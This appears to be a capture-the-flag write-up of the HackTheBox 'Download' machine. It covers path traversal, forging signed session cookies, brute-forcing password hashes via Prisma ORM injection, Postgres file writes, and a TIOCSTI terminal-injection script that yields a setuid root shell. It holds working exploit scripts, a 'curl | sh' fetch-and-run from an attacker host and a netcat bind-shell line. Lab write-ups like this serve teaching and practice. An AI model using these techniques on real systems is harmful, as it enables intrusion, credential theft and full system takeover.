Download

Recon

nmap_scan.log

HTTP (80)

Writeup.png

We can upload files basically, but since it's not PHP or something no code exec.

Writeup-1.png

There's no preview button, only download.

└─$ curl http://download.htb/files/download/73290c9d-9731-4eff-93e2-681297a87ffe -I
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 07 Dec 2024 10:55:27 GMT
Content-Type: application/octet-stream
Content-Length: 5386
Connection: keep-alive
X-Powered-By: Express
Content-Disposition: attachment; filename="about.html"
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Sat, 07 Dec 2024 10:53:18 GMT
ETag: W/"150a-193a0c09d66"
Set-Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=; path=/; expires=Sat, 14 Dec 2024 10:55:27 GMT; httponly
Set-Cookie: download_session.sig=4kbZR1kOcZNccDLxiSi7Eblym1E; path=/; expires=Sat, 14 Dec 2024 10:55:27 GMT; httponly

If we register we can upload files privately and also delete them.

Writeup-2.png

Routes:

/files/download/{UUID} -> Download
/files/view/{UUID} -> View
/files/delete/{UUID} -> Delete

LFI

In the downloads I started testing for basic SQLi in the path, but nothing promising. It's either interacting with database or with files. Messing with slashes reveals it's most likely files.

http://download.htb/files/download/1a0da27b-84b2-406e-8e58-22408d580241    -> Downloads the file
http://download.htb/files/download/1a0da27b-84b2-406e-8e58-22408d580241/   -> Downloads the file
http://download.htb/files/download/1a0da27b-84b2-406e-8e58-22408d580241%2F -> Downloads the file
http://download.htb/files/download//1a0da27b-84b2-406e-8e58-22408d580241   -> 404
http://download.htb/files/download/%2F1a0da27b-84b2-406e-8e58-22408d580241 -> Downloads the file
Writeup-3.png
└─$ curl http://download.htb/files/download/..%2Fapp.js -so app.js
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
	const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});

It's executing an unsafe SQL query, the client is Prisma. We can't read files outside application root, nginx complains that it's a bad request.

home.js is getting files based on where query and the author is basically querying for JSON object; if we can change the user in our session we can access other users files

"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod } };
Object.defineProperty(exports, "__esModule", { value: true });
const client_1 = require("@prisma/client");
const express_1 = __importDefault(require("express"));
const auth_1 = __importDefault(require("../middleware/auth"));
const client = new client_1.PrismaClient();
const router = express_1.default.Router();
router.get("/", auth_1.default, async (req, res) => {
    const files = await client.file.findMany({
        where: { author: req.session.user },
        select: {
            id: true,
            uploadedAt: true,
            size: true,
            name: true,
            private: true,
            authorId: true,
            author: {
                select: {
                    username: true,
                },
            },
        },
    });
    res.render("home.njk", { files });
});
exports.default = router;

Without digging to much source code, ChatGPT says that cookies are generally signed with HMAC

Writeup-4.png

Our download_session.sig cookie is length of 40, meaning SHA1

└─$ echo 'SRrUAnuM7w-IdSKflXDYMumnqwM=' | basenc -d --base64url | xxd -p | wc -c
41
└─$ echo 'x' | sha1sum | awk '{print($1)}' | wc -c
41

Note: 41 because of newline, SHA1 length is 40

Cookie signing process takes the key=value, gets SHA1 HMAC value and stored it inside cookie.sig value. Recipe

Writeup-5.png

For some odd reason the application didn't like = in cookies and that took way too long to figure out...

import hmac
from hashlib import sha1
from base64 import urlsafe_b64decode, urlsafe_b64encode
import json
from requests import Session
from bs4 import BeautifulSoup as BS

COOKIE = b'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoidGVzdDAyIn19'
KEY = b'8929874489719802418902487651347865819634518936754'
URL = 'http://download.htb/home/'

def sign(cookie, key):
    return urlsafe_b64encode(hmac.digest(msg=cookie, key=key, digest=sha1)).decode()

def change_id(cookie, id_, key):
    cookie_value = json.loads(urlsafe_b64decode(cookie).decode())
    cookie_value['user']['id'] = id_
    del cookie_value['user']['username']

    cookie_value = urlsafe_b64encode(json.dumps(cookie_value).encode()).decode().strip('=')
    cookie_key_value = f'download_session={cookie_value}'
    cookie_signature = sign(cookie_key_value.encode(), key).strip('=')
    cookie_signature = f'download_session.sig={cookie_signature}'

    cookies = f'{cookie_signature}; {cookie_key_value}'
    return cookies

with Session() as session:
    session.proxies = {'http': 'http://127.0.0.1:8080'}

    for i in range(16):
        cookies = change_id(COOKIE, i, KEY)
        resp = session.get(URL, headers={'Cookie': cookies})
        html = BS(resp.text, 'html.parser')
        username = html.find_all('div', class_='container')[1].find('h2').text

        print(cookies)
        print(username) 
        print('- ' * 16)

Some users have upload, but it's not in Hey <USERNAME>!. Upload by <USERNAME> has them.

Writeup-6.png

If we change the cookies any of them we can access the files. Above pdfs are only samples, No information disclosure.

https://book.hacktricks.xyz/pentesting-web/orm-injection#prisma-orm-nodejshttps://www.elttam.com/blog/plorming-your-primsa-orm/

From the source we know the column name so we can bruteforce the md5 hashed passwords (and hopefully crack them)

const hashPassword = (password) => { return node_crypto_1.default.createHash("md5").update(password).digest("hex"); };
router.post("/login", async (req, res) => {
	...
    const user = await client.user.findFirst({
        where: { username: data.username, password: hashPassword(data.password) },
    });

The above blog had template which was using Threading, but when dealing with HTTP it's better to use something like aiohttp

import asyncio
from base64 import urlsafe_b64decode, urlsafe_b64encode
from hashlib import sha1
import hmac
import json
import string
from colorama import Fore, Style
from aiohttp import ClientSession
import re

URL = "http://download.htb/home/"
CHARSET = string.hexdigits
COOKIE = b'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoidGVzdDAyIn19'
KEY = b'8929874489719802418902487651347865819634518936754'
SUCCESS = 'Uploaded By'

def sign(cookie, key):
    return urlsafe_b64encode(hmac.digest(msg=cookie, key=key, digest=sha1)).decode()

def inject_cookie(cookie, id_, password, key):
    cookie_value = json.loads(urlsafe_b64decode(cookie).decode())
    cookie_value['user']['id'] = id_
    cookie_value['user']['password'] = {'startsWith': password}
    del cookie_value['user']['username']
    
    cookie_value_encoded = urlsafe_b64encode(json.dumps(cookie_value).encode()).decode().replace('=', '')
    cookie_value_encoded = f'download_session={cookie_value_encoded}'
    cookie_signature = sign(cookie_value_encoded.encode(), key).replace('=', '')
    cookie_signature = f'download_session.sig={cookie_signature}'

    cookies = f'{cookie_signature}; {cookie_value_encoded}'
    return cookie_value, cookies


async def fetch(session, values, cookies):
    async with session.get(f'{URL}?values={values["user"]}', headers={'Cookie': cookies}, proxy='http://127.0.0.1:8080') as resp:
        text = await resp.text()
        if SUCCESS in text:
            username = re.search('<strong>Uploaded By: </strong>(.*)<br />', text).group(1)
            return username
        return False

async def main():
    passwords = {}
    async with ClientSession() as session: 
        for id_ in range(1, 16):
            password = ""
            while True:
                session.cookie_jar.clear()
                print(f"\r{Fore.RED}[{id_}] Password: {Fore.YELLOW}{Style.BRIGHT}{password}{Style.RESET_ALL}", end="")
                tasks = [
                    fetch(session, *inject_cookie(COOKIE, id_, password + c, KEY))
                    for c in CHARSET
                ]
                results = await asyncio.gather(*tasks)
                for i, result in enumerate(results):
                    if result:
                        password += CHARSET[i]
                        if id_ not in passwords:
                            passwords[id_] = result
                        break
                else:
                    print(f"\r{Fore.RED}[{id_}] Password for {passwords.get(id_, 'INVALID')}: {Fore.YELLOW}{Style.BRIGHT}{password}{Style.RESET_ALL}", flush=True)
                    break

if __name__ == "__main__":
    asyncio.run(main())
[1] Password for WESLEY: f88976c10af66915918945b9679b2bd3
[2] Password for Hindermate: 7f004f3ea002493ac665b8821a8dd0d2
[3] Password for Bold_pecAplomb: 919a7a3bf5997732255b03c243e08d03
[4] Password for Tabific: 1cc22f79d17c875bdabba23412ac52a6
[5] Password for AyufmApogee: 1ad02d2814a55bb2375aa97999d9fc58
[6] Password for Jalouse: b97a3c6816d5a534f14f2341170a1f05
[7] Password for Logorrhea: dbe74c9a4cfd2fa6d2d6d99bf95444d9
[8] Password for INVALID: 
[9] Password for Pestiferous: eedaed9d9b18c447790516d3b9fbaf06
[10] Password for Antilogism: e05fd469ebdad9532a31d48d54456e1b
[11] Password for Vivacious: 53686fffb7555c7396651648061f0f45
[12] Password for Rooirhebok: 87e9d9bc6be6542dc15e47f22d45556c
[13] Password for Apoplectic: 40808a8a9354b55a65827ec4c8342086
[14] Password for StrachanMilt: f8de835623d1deaa482b8e113b4b3bf1
[15] Password for ZitaShneee: c9487ca1e6dc84863a39bcdcc5d525f7
Writeup-7.png

SSH (22)

Creds: wesley:dunkindonuts

└─$ sshpass -p 'dunkindonuts' ssh wesley@download.htb
wesley@download:~$ id
uid=1000(wesley) gid=1000(wesley) groups=1000(wesley)

User.txt

wesley@download:~$ cat user.txt
c141f34ecf3352f4dd79f2b6c6df903e

Privilege Escalation (postgres)

wesley@download:~$ sudo -l
Sorry, user wesley may not run sudo on download.
wesley@download:~$ curl 10.10.14.113/lp.sh|sh|tee /tmp/lp.log
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 5.4.0-155-generic (buildd@lcy02-amd64-103) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #172-Ubuntu SMP Fri Jul 7 16:10:02 UTC 2023
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.6 LTS
Release:        20.04
Codename:       focal

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.31

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
Vulnerable to CVE-2021-3560  # IN ORANGE

╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
root       20205  0.0  0.2  13820  8796 ?        Ss   13:45   0:00  _ sshd: root@notty
root       23320  0.0  0.2  13812  8908 ?        Ss   13:47   0:00  _ sshd: root@pts/1
root       23407  0.0  0.1   8272  5024 pts/1    Ss   13:47   0:00      _ -bash
root       23418  0.0  0.0   7104  3888 pts/1    S    13:47   0:00          _ /bin/bash -i ./manage-db
root       23427  0.0  0.0   8436  3880 pts/1    S    13:47   0:00              _ su -l postgres
postgres   23428  0.0  0.1   8272  5120 pts/1    S    13:47   0:00                  _ -bash
postgres   23495  0.1  0.2  24664 10212 pts/1    S+   13:47   0:00                      _ /usr/lib/postgresql/12/bin/psql
root         871  0.0  0.0  51204  1512 ?        Ss   09:59   0:00 nginx: master process /usr/sbin/nginx -g daemon[0m on; master_process on;
www-data     872  0.2  0.1  52180  6432 ?        S    09:59   0:36  _ nginx: worker process
www-data     873  0.2  0.1  52932  7184 ?        S    09:59   0:35  _ nginx: worker process
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
╔══════════╣ Users with console
postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
root:x:0:0:root:/root:/bin/bash
wesley:x:1000:1000:wesley:/home/wesley:/bin/bash
╔══════════╣ Last time logon each user
Username         Port     From             Latest
root             pts/1    127.0.0.1        Sat Dec  7 13:47:24 +0000 2024
wesley           pts/0    10.10.14.113     Sat Dec  7 13:45:18 +0000 2024
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/nc
/usr/bin/netcat
/usr/bin/perl
/usr/bin/ping
/usr/bin/python3
/usr/bin/socat
/usr/bin/sudo
/usr/bin/wget
╔══════════╣ Unexpected in root
/.bash_history

lrwxrwxrwx 1 root root 34 Apr 21  2023 /etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default
-rw-r--r-- 1 root root 2388 Apr 21  2023 /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
        worker_connections 768;
}
http {
        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        keepalive_timeout 65;
        types_hash_max_size 2048;
        include /etc/nginx/mime.types;
        default_type application/octet-stream;
        ssl_prefer_server_ciphers on;
        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;
        gzip on;
        include /etc/nginx/conf.d/*.conf;
        server {
            listen 80;
            root /var/www/app;
            index index.html index.htm index.nginx-debian.html;
            server_name download.htb;
            location / {
                proxy_pass http://127.0.0.1:3000;
                proxy_http_version  1.1;
                proxy_cache_bypass  $http_upgrade;
                proxy_set_header Upgrade           $http_upgrade;
                proxy_set_header Connection        "upgrade";
                proxy_set_header Host              $host;
                proxy_set_header X-Real-IP         $remote_addr;
                proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
                proxy_set_header X-Forwarded-Proto $scheme;
                proxy_set_header X-Forwarded-Host  $host;
                proxy_set_header X-Forwarded-Port  $server_port;
            }
        }

        server {
            listen 80 default;
            server_name _;
            location / {
                return 301 http://download.htb;
            }
        }
}
Writeup-8.png
Writeup-9.png

First I wanted to check if linpeas was right with CVE: CVE-2021-3560-Polkit-Privilege-Esclation

wesley@download:~$ ./poc.sh

[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as ubuntu
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[x] ERROR: Accounts service and Gnome-Control-Center NOT found!!
[!]  Aborting Execution!

No success there.

Sudo is also not vulnerable.

wesley@download:~$ python3 exploit_nss.py
Traceback (most recent call last):
  File "exploit_nss.py", line 220, in <module>
    assert check_is_vuln(), "target is patched"
AssertionError: target is patched
wesley@download:~$ curl 10.10.14.113/pspy -Os && chmod +x pspy
wesley@download:~$ ./pspy
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...
2024/12/07 14:02:11 CMD: UID=0     PID=1041   | sshd: root@notty
2024/12/07 14:02:11 CMD: UID=0     PID=964    | /root/venv/bin/python3 /root/management.py
2024/12/07 14:02:11 CMD: UID=113   PID=939    | postgres: 12/main: logical replication launcher
2024/12/07 14:02:11 CMD: UID=113   PID=938    | postgres: 12/main: stats collector
2024/12/07 14:02:11 CMD: UID=113   PID=937    | postgres: 12/main: autovacuum launcher
2024/12/07 14:02:11 CMD: UID=113   PID=936    | postgres: 12/main: walwriter
2024/12/07 14:02:11 CMD: UID=113   PID=935    | postgres: 12/main: background writer
2024/12/07 14:02:11 CMD: UID=113   PID=934    | postgres: 12/main: checkpointer
2024/12/07 14:02:11 CMD: UID=113   PID=931    | /usr/lib/postgresql/12/bin/postgres -D /var/lib/postgresql/12/main -c config_file=/etc/postgresql/12/main/postgresql.conf
2024/12/07 14:02:11 CMD: UID=0     PID=910    | /sbin/agetty -o -p -- \u --noclear tty1 linux
...
2024/12/07 14:03:23 CMD: UID=0     PID=41467  | dirname /usr/bin/lesspipe
2024/12/07 14:03:23 CMD: UID=0     PID=41466  | /bin/sh /usr/bin/lesspipe
2024/12/07 14:03:23 CMD: UID=0     PID=41468  | -bash
2024/12/07 14:03:23 CMD: UID=0     PID=41469  | -bash
2024/12/07 14:03:23 CMD: UID=0     PID=41470  | /bin/bash -i ./manage-db
2024/12/07 14:03:23 CMD: UID=0     PID=41471  | /bin/bash -i ./manage-db
2024/12/07 14:03:23 CMD: UID=0     PID=41472  | /bin/bash -i ./manage-db
2024/12/07 14:03:23 CMD: UID=0     PID=41473  | basename /usr/bin/lesspipe
2024/12/07 14:03:23 CMD: UID=0     PID=41475  | dirname /usr/bin/lesspipe
2024/12/07 14:03:23 CMD: UID=0     PID=41474  | /bin/sh /usr/bin/lesspipe
2024/12/07 14:03:23 CMD: UID=0     PID=41476  | /bin/bash -i ./manage-db
2024/12/07 14:03:23 CMD: UID=0     PID=41477  | systemctl status postgresql
2024/12/07 14:03:23 CMD: UID=0     PID=41478  | systemctl status download-site
2024/12/07 14:03:23 CMD: UID=0     PID=41479  | su -l postgres
2024/12/07 14:03:23 CMD: UID=113   PID=41480  | su -l postgres
2024/12/07 14:03:23 CMD: UID=113   PID=41481  | groups
2024/12/07 14:03:23 CMD: UID=113   PID=41482  | -bash
2024/12/07 14:03:23 CMD: UID=113   PID=41484  | -bash
2024/12/07 14:03:23 CMD: UID=113   PID=41483  | locale
2024/12/07 14:03:28 CMD: UID=113   PID=41485  | /usr/bin/perl /usr/bin/psql
2024/12/07 14:03:28 CMD: UID=113   PID=41487  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113   PID=41486  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113   PID=41488  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113   PID=41490  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113   PID=41492  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113   PID=41491  | /bin/bash /usr/bin/ldd /usr/lib/postgresql/12/bin/psql
2024/12/07 14:03:28 CMD: UID=113   PID=41493  | postgres: 12/main: postgres postgres [local] authentication

Anyway.. let's leave that for now because frankly I have no clue what's going on and second we need postgres user.

There's no .env in application and postgres is somehow working. Prisma supports connecting postgres so that must be it. https://www.prisma.io/docs/orm/overview/databases/postgresql. In the example we see it's using env() so somewhere it's getting passed credentials from environment.

wesley@download:/var/www$ systemctl  |grep download
  download-site.service                                                                  loaded active running   Download.HTB Web Application
  apt-daily.timer                                                                        loaded active waiting   Daily apt download activities
wesley@download:/var/www$ find /var -name download-site.service 2>/dev/null
wesley@download:/var/www$ find /etc -name download-site.service 2>/dev/null
/etc/systemd/system/download-site.service
/etc/systemd/system/multi-user.target.wants/download-site.service
wesley@download:/var/www$ cat /etc/systemd/system/download-site.service
[Unit]
Description=Download.HTB Web Application
After=network.target

[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"

[Install]
WantedBy=multi-user.target

Privilege Escalation (root)

postgres-cheatsheet.md

wesley@download:~$ PGPASSWORD='CoconutPineappleWatermelon' psql -h localhost -U download -d download
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

download=> \l
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
 download  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =Tc/postgres         + postgres=CTc/postgres + download=CTc/postgres
 postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          + postgres=CTc/postgres
 template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          + postgres=CTc/postgres
download-> \dt
               List of relations
 Schema |        Name        | Type  |  Owner
--------+--------------------+-------+----------
 public | File               | table | download
 public | User               | table | download
 public | _prisma_migrations | table | download
download=> \du
                                          List of roles
 Role name |                         Attributes                         |        Member of
-----------+------------------------------------------------------------+-------------------------
 download  |                                                            | {pg_write_server_files}
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
download=> SELECT * FROM "User";
 id |    username    |             password
----+----------------+----------------------------------
  1 | WESLEY         | f88976c10af66915918945b9679b2bd3
  2 | Hindermate     | 7f004f3ea002493ac665b8821a8dd0d2
  3 | Bold_pecAplomb | 919a7a3bf5997732255b03c243e08d03
  4 | Tabific        | 1cc22f79d17c875bdabba23412ac52a6
  5 | AyufmApogee    | 1ad02d2814a55bb2375aa97999d9fc58
  6 | Jalouse        | b97a3c6816d5a534f14f2341170a1f05
  7 | Logorrhea      | dbe74c9a4cfd2fa6d2d6d99bf95444d9
  8 | MotelKebbie    | 3bb67f4c84fb4130f81c0f5f147a41c3
  9 | Pestiferous    | eedaed9d9b18c447790516d3b9fbaf06
 10 | Antilogism     | e05fd469ebdad9532a31d48d54456e1b
 11 | Vivacious      | 53686fffb7555c7396651648061f0f45
 12 | Rooirhebok     | 87e9d9bc6be6542dc15e47f22d45556c
 13 | Apoplectic     | 40808a8a9354b55a65827ec4c8342086
 14 | StrachanMilt   | f8de835623d1deaa482b8e113b4b3bf1
 15 | ZitaShneee     | c9487ca1e6dc84863a39bcdcc5d525f7
 16 | test02         | 4d5e2a885578299e5a5902ad295447c6
 17 | ${{<%[%'"}}%\  | d9adf054aa8466a9426a1fcfb811a47c
(17 rows)

Postgres has home and we can write to files. Because this user logs in frequently we can hijack the .bashrc

wesley@download:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
wesley:x:1000:1000:wesley:/home/wesley:/bin/bash
postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
wesley@download:/var/lib/postgresql$ ls -Alh
total 8.0K
drwxr-xr-x 3 postgres postgres 4.0K Apr 21  2023 12
-rw------- 1 postgres postgres    5 Dec  7 14:26 .bash_history
-rw------- 1 postgres postgres    0 Dec  7 14:26 .psql_history
download=> COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
COPY 1
---
wesley@download:/var/lib/postgresql$ cat /tmp/pentestlab
nc -lvvp 2346 -e /bin/bash

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-file-write

Note: How were you supposed to fucking find this, I have no clue...

Ippsec: HackTheBox - Download explains a bit better, but I guess you just have to know the trend or smth.... 🤔

└─$ man su
...
       For backward compatibility, su defaults to not change the current directory and to only set the environment variables HOME and SHELL (plus USER and LOGNAME if the target user is not root). It is
       recommended to always use the --login option (instead of its shortcut -) to avoid side effects caused by mixing environments.
...

The oldest privesc: injecting careless administrators' terminals using TTY pushback

Basically it's because pts is preserved and new is not created for running user (I think? 💭) and it happens because su [-|-l|--login] username

root       45827  0.0  0.0   7104  3816 pts/3    S    14:52   0:00 /bin/bash -i ./manage-db
root       45836  0.0  0.0   8436  3784 pts/3    S    14:52   0:00 su -l postgres
postgres   45837  0.6  0.1   8272  5104 pts/3    S+   14:52   0:00 -bash
wesley     45843  0.0  0.0   8888  3384 pts/2    R+   14:52   0:00 ps aux
wesley     45844  0.0  0.0   6432   720 pts/2    R+   14:52   0:00 grep --color=auto postgres -B1
wesley@download:/tmp$ vi letmein.py
Garbled time
wesley@download:/tmp$ cat letmein.py
#!/usr/bin/env python3
import fcntl
import termios
import os
import sys
import signal

os.kill(os.getppid(), signal.SIGSTOP)

for char in 'install -m4777 /bin/bash /tmp/rootbash\n':
    fcntl.ioctl(0, termios.TIOCSTI, char)
    
wesley@download:/tmp$ chmod +x letmein.py

Write to .bashrc for postgres

download=> COPY (SELECT '/tmp/letmein.py') TO '/var/lib/postgresql/.bashrc';
COPY 1

.bashrc doesn't work, try .profile

download=> COPY (SELECT '/tmp/letmein.py') TO '/var/lib/postgresql/.profile';
COPY 1

What goes in ~/.profile and ~/.bashrc?

Root.txt

wesley@download:/tmp$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(wesley) gid=1000(wesley) euid=0(root) groups=1000(wesley)
rootbash-5.0# cat /root/root.txt
1ba409527ea8f88e8aeccad70d4b666b

Last updated